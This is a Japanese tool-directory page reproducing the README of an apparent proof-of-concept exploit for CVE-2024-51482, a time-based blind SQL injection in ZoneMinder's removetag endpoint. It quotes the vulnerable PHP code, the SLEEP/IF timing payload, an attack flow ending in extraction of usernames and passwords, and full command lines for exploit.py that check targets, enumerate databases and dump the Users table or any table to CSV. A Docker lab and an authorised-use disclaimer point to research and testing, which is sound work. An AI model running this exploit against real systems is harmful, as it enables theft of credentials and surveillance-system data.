Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2024-51482-POC — ZoneMinderにおけるCVE-2024-51482の時間ベースSQLインジェクションPoC。再現可能なDockerラボと自動データ抽出機能を備えています。 | Kitploit
ツール/GitHubGitHub/0xdaeras/cve-2024-51482-poc
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト学習と教育データベースセキュリティラボと実践
GitHub0xdaeras/cve-2024-51482-poc

CVE-2024-51482-POC

ZoneMinderにおけるCVE-2024-51482の時間ベースSQLインジェクションPoC。再現可能なDockerラボと自動データ抽出機能を備えています。

リポジトリを見る
7104ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

ZoneMinder 認証済み時間ベースSQLi POC - CVE-2024-51482

CVE-1 CVSS Python

⚠️ 教育および許可されたセキュリティ研究のみを目的としています。 自分が所有していない、またはテストする書面による許可がないシステムに対してこのツールを実行することは違法です。


目次

  • ZoneMinder 認証済み時間ベースSQLi POC - CVE-2024-51482
    • 目次
    • 概要
    • 脆弱性の詳細
      • CVE-2024-51482 — 時間ベースのブラインドSQLインジェクション
      • 根本原因
      • 攻撃の流れ
    • リポジトリ構造
    • 要件
    • インストール
      • PoC
      • Docker Lab
    • 使用方法
      • デフォルトの動作
      • ヘルプ画面
      • コマンド
      • 出力オプション
      • フラグリファレンス
      • 完全な例
      • 注意事項
      • Docker Lab
    • 出力例
    • 対策
      • 本CVEに対する対策
      • 類似の脆弱性に対する対策
    • 開示のタイムライン
    • 参考文献

概要

このリポジトリは、ZoneMinderを対象とした時間ベースのSQLインジェクションのPoCを含んでいます。

このツールは以下を可能にします:

  • 脆弱性の検証
  • データベースの列挙
  • テーブルとカラムの発見
  • テーブルの完全ダンプ
  • CSVエクスポート

また、安全なテストのための完全に再現可能なDockerラボも含まれています。


脆弱性の詳細

CVE-2024-51482 — 時間ベースのブラインドSQLインジェクション

  • CVE ID: CVE-2024-51482
  • CVSS v3.1 スコア: 10.0 (クリティカル)
  • 脆弱性の種類: 時間ベースのブラインドSQLインジェクション
  • 影響を受けるバージョン: ZoneMinder v1.37.* <= 1.37.64
  • 攻撃ベクトル: 認証済みエンドポイント (removetag)
  • 影響: データベースの完全な開示、データ整合性の侵害
  • 認証の必要性: はい (低権限ユーザーで十分)

根本原因

ZoneMinderは、無料のオープンソースの閉回路テレビソフトウェアアプリケーションです。この脆弱性は、ZoneMinderのremovetagエンドポイントにおける不十分な入力検証に起因します。ユーザーから提供された入力が適切なサニタイズやパラメータ化なしにSQLクエリに直接組み込まれるため、攻撃者が悪意のあるブールベースのSQLペイロードを注入することが可能になります。このエクスプロイトは以下を利用します:

SLEEP(x - IF(condition, 0, x))

応答時間からデータを推測します。

脆弱なコードの完全なスニペット(Github Maintainer Advisoryより):

case 'removetag' :
    $tagId = $_REQUEST['tid'];
    dbQuery('DELETE FROM Events_Tags WHERE TagId = ? AND EventId = ?', array($tagId, $_REQUEST['id']));
    $sql = "SELECT * FROM Events_Tags WHERE TagId = $tagId";
    $rowCount = dbNumRows($sql);
    if ($rowCount < 1) {
      $sql = 'DELETE FROM Tags WHERE Id = ?';
      $values = array($_REQUEST['tid']);
      $response = dbNumRows($sql, $values);
      ajaxResponse(array('response'=>$response));
    }

攻撃の流れ

攻撃者                              ZoneMinder Webアプリ
   │                                         │
   │  [認証]                                 │
   │  POST /zm/index.php                     │
   │  {username, password}                   │
   │────────────────────────────────────────►│
   │◄────────────────────────────────────────│
   │  200 OK + Set-Cookie: ZMSESSID=...      │  ← 認証済みセッション
   │                                         │
   │  [CVE-2024-51482]                       │
   │  GET /zm/index.php                      │
   │  ?view=request&request=event            │
   │  &action=removetag&tid=<payload>        │
   │────────────────────────────────────────►│
   │                               SQLブールクエリが実行
   │                               IF(condition, no delay, SLEEP)
   │◄────────────────────────────────────────│
   │  応答の遅延 (タイミングオラクル)         │  ← 条件が推測
   │                                         │
   │  リクエストを繰り返す                      │
   │  ASCII(SUBSTRING(query,pos,1))          │
   │────────────────────────────────────────►│
   │◄────────────────────────────────────────│
   │  タイミングの差で文字が判明                │
   │                                         │
   │  1文字ずつの二分探索                       │
   │────────────────────────────────────────►│
   │◄────────────────────────────────────────│
   │  抽出されたデータ (1文字ずつ)               │
   │                                         │
   │  SELECT Username, Password FROM Users   │
   │────────────────────────────────────────►│
   │◄────────────────────────────────────────│
   │  データベースの完全な開示                   │
   │                                         │
   ✓  ブラインドSQLiによる完全なデータ流出

リポジトリ構造

CVE-2024-51482/
├── exploit.py
├── README.md
├── requirements.txt
├── docker-compose.yml
├── .env.example
├── docker/
│   ├── Dockerfile
│   └── entrypoint.sh
└── logs/

要件

  • Python 3.8+
  • requests
  • Docker and docker-compose (for lab environment)

インストール

PoC

git clone https://github.com/0xDaeras/CVE-2024-51482-POC.git
cd CVE-2024-51482-POC
pip install -r requirements.txt

Docker Lab

git clone https://github.com/0xDaeras/CVE-2024-51482-POC.git
cd CVE-2024-51482-POC
cp .env.example .env  # Configure environment variables
docker compose up -d

使用方法

デフォルトの動作

フラグがない場合、ツールはターゲットに認証し、脆弱性をチェックし、脆弱であればzm.UsersテーブルからID、Username、Password、Name、Emailカラムをダンプします(dump-usersコマンド)。

python exploit.py -t http://target/zm -u <username> -p <password>

ヘルプ画面

python exploit.py -h

コマンド

check

ターゲットが脆弱かどうかのみをチェックします。

python exploit.py -t http://target/zm -u <username> -p <password> check

dump-users

zm.UsersテーブルからID、Username、Password、Name、Emailカラムをダンプします。何も指定しない場合のデフォルトコマンドです。

python exploit.py -t http://target/zm -u <username> -p <password> dump-users

list-db

すべてのデータベースをリストします。

python exploit.py -t http://target/zm -u <username> -p <password> list-db

list-tables

指定されたデータベース内のテーブルをリストします。

python exploit.py -t http://target/zm -u <username> -p <password> list-tables --db <database>

list-columns

指定されたテーブルのカラムをリストします。

python exploit.py -t http://target/zm -u <username> -p <password> list-columns --db <database> --table <table>

dump-table

指定されたテーブルからすべてのデータをダンプします。

python exploit.py -t http://target/zm -u <username> -p <password> dump-table --db <database> --table <table>

ダンプするカラムを指定することもできます(デフォルトはすべて):

python exploit.py -t http://target/zm -u <username> -p <password> dump-table --db <database> --table <table> --columns col1,col2

出力オプション

Disable terminal output

--no-display

Export to CSV

ファイルが存在しない場合は作成されます。すでに存在する場合は新しい結果が追加されます。

--outfile results.csv

フラグリファレンス

ターゲットと認証

フラグ説明例
-t, --targetターゲットベースURL-t http://localhost:8080
-u, --user認証用のユーザー名-u admin
-p, --password認証用のパスワード-p admin
--cookieログインの代わりに既存のZMSESSIDクッキーを使用--cookie abc123...

コアコマンド

ツールをダウンロード